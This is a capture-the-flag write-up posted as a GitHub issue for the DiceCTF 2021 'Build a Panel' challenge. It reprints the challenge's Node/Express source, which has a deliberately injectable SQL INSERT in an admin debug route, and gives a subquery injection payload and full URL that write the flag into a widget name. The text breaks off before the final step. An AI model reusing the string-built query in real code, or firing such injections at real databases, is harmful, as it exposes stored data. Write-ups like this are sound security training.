aszx87410 / ctf-writeups

ctf writeups
62 stars 9 forks source link

DiceCTF 2021 - Build a Panel #17

Open aszx87410 opened 3 years ago

aszx87410 commented 3 years ago

It's a service for creating and viewing "panel" and "widget":

To be honest, when I was working on this chall, I didn't even check what type of widget we can create.

Because the first thing is always the same: check the source code if available:

/*
 *  @DICECTF 2021
 *  @AUTHOR Jim
 */

const admin_key = 'REDACTED'; // NOTE: The keys are not literally 'REDACTED', I've just taken them away from you :)
const secret_token = 'REDACTED'; 

const express = require('express');
const bodyParser = require("body-parser");
const cookieParser = require("cookie-parser");
const sqlite3 = require('sqlite3');
const { v4: uuidv4 } = require('uuid');

const app = express();
const db = new sqlite3.Database('./db/widgets.db', (err) => {
    if(err){
        return console.log(err.message);
    }else{
        console.log('Connected to sql database');
    }
});

let query = `CREATE TABLE IF NOT EXISTS widgets (
    id INTEGER PRIMARY KEY AUTOINCREMENT,
    panelid TEXT,
    widgetname TEXT,
    widgetdata TEXT);`;
db.run(query);
query = `CREATE TABLE IF NOT EXISTS flag (
    flag TEXT
)`;
db.run(query, [], (err) => {
    if(!err){
        let innerQuery = `INSERT INTO flag SELECT 'dice{fake_flag}'`;
        db.run(innerQuery);
    }else{
        console.error('Could not create flag table');
    }
});

app.use(express.static(__dirname + '/public'));
app.use(bodyParser.json());
app.use(cookieParser());
app.use(function(_req, res, next) {
    res.setHeader("Content-Security-Policy", "default-src 'none'; script-src 'self' http://cdn.embedly.com/; style-src 'self' http://cdn.embedly.com/; connect-src 'self' https://www.reddit.com/comments/;");
    res.setHeader("X-Frame-Options", "DENY");
    return next();
});
app.set('view engine', 'ejs');

app.get('/', (_req, res) => {
    res.render('pages/index');
});

app.get('/create', (req, res) => {
    const cookies = req.cookies;
    const queryParams = req.query;

    if(!cookies['panelId']){
        const newPanelId = queryParams['debugid'] || uuidv4();

        res.cookie('panelId', newPanelId, {maxage: 10800, httponly: true, sameSite: 'lax'});
    }

    res.redirect('/panel/');
});

app.get('/panel/', (req, res) => {
    const cookies = req.cookies;

    if(cookies['panelId']){
        res.render('pages/panel');
    }else{
        res.redirect('/');
    }
});

app.post('/panel/widgets', (req, res) => {
    const cookies = req.cookies;

    if(cookies['panelId']){
        const panelId = cookies['panelId'];

        query = `SELECT widgetname, widgetdata FROM widgets WHERE panelid = ?`;
        db.all(query, [panelId], (err, rows) => {
            if(!err){
                let panelWidgets = {};
                for(let row of rows){
                    try{
                        panelWidgets[row['widgetname']] = JSON.parse(row['widgetdata']);
                    }catch{

                    }
                }
                res.json(panelWidgets);
            }else{
                res.send('something went wrong');
            }
        });
    }
});

app.get('/panel/edit', (_req, res) => {
    res.render('pages/edit');
});

app.post('/panel/add', (req, res) => {
    const cookies = req.cookies;
    const body = req.body;

    if(cookies['panelId'] && body['widgetName'] && body['widgetData']){
        query = `INSERT INTO widgets (panelid, widgetname, widgetdata) VALUES (?, ?, ?)`;
        db.run(query, [cookies['panelId'], body['widgetName'], body['widgetData']], (err) => {
            if(err){
                res.send('something went wrong');
            }else{
                res.send('success!');
            }
        });
    }else{
        console.log(cookies);
        console.log(body);
        res.send('something went wrong');
    }
});

const availableWidgets = ['time', 'weather', 'welcome'];

app.get('/status/:widgetName', (req, res) => {
    const widgetName = req.params.widgetName;

    if(availableWidgets.includes(widgetName)){
        if(widgetName == 'time'){
            res.json({'data': 'now :)'});
        }else if(widgetName == 'weather'){
            res.json({'data': 'as you can see widgets are not fully functional just yet'});
        }else if(widgetName == 'welcome'){
            res.json({'data': 'No additional data here but feel free to add other widgets!'});
        }
    }else{
        res.json({'data': 'error! widget was not found'});
    }
});

// This function is for admin bot setup
app.get('/admin/generate/:secret_token', (req, res) => {
    if(req.params['secret_token'] == admin_key){
        res.cookie('token', secret_token, {maxage: 10800, httponly: true, sameSite: 'lax'});
    }

    res.redirect('/');
});

app.get('/admin/debug/add_widget', async (req, res) => {
    const cookies = req.cookies;
    const queryParams = req.query;

    if(cookies['token'] && cookies['token'] == secret_token){
        query = `INSERT INTO widgets (panelid, widgetname, widgetdata) VALUES ('${queryParams['panelid']}', '${queryParams['widgetname']}', '${queryParams['widgetdata']}');`;
        db.run(query, (err) => {
            if(err){
                console.log(err);
                res.send('something went wrong');
            }else{
                res.send('success!');
            }
        });
    }else{
        res.redirect('/');
    }
});

app.listen(31337, () => {
    console.log('express listening on 31337')
});

The source code is quite long compare to other challs. But if you look carefully, you will find that only these two snippets are important:

query = `CREATE TABLE IF NOT EXISTS flag (
    flag TEXT
)`;
db.run(query, [], (err) => {
    if(!err){
        let innerQuery = `INSERT INTO flag SELECT 'dice{fake_flag}'`;
        db.run(innerQuery);
    }else{
        console.error('Could not create flag table');
    }
});

app.get('/admin/debug/add_widget', async (req, res) => {
    const cookies = req.cookies;
    const queryParams = req.query;

    if(cookies['token'] && cookies['token'] == secret_token){
        query = `INSERT INTO widgets (panelid, widgetname, widgetdata) VALUES ('${queryParams['panelid']}', '${queryParams['widgetname']}', '${queryParams['widgetdata']}');`;
        db.run(query, (err) => {
            if(err){
                console.log(err);
                res.send('something went wrong');
            }else{
                res.send('success!');
            }
        });
    }else{
        res.redirect('/');
    }
});

We know two things from above:

  1. flag is in database
  2. /admin/debug/add_widget is vulnerable to sql injection

sub query is your good friend in this case, we can let our title become the flag:

uuid', (select flag from flag limit 1), '1');--

Full url: https://build-a-panel.dicec.tf/admin/debug/add_widget?panelid=1b3f6724-8a5f-4cad-b127-2a13e7847752', (select flag from flag limit 1), '1');--&widgetname=1&widgetdata=1

So we can create an widget with title as flag: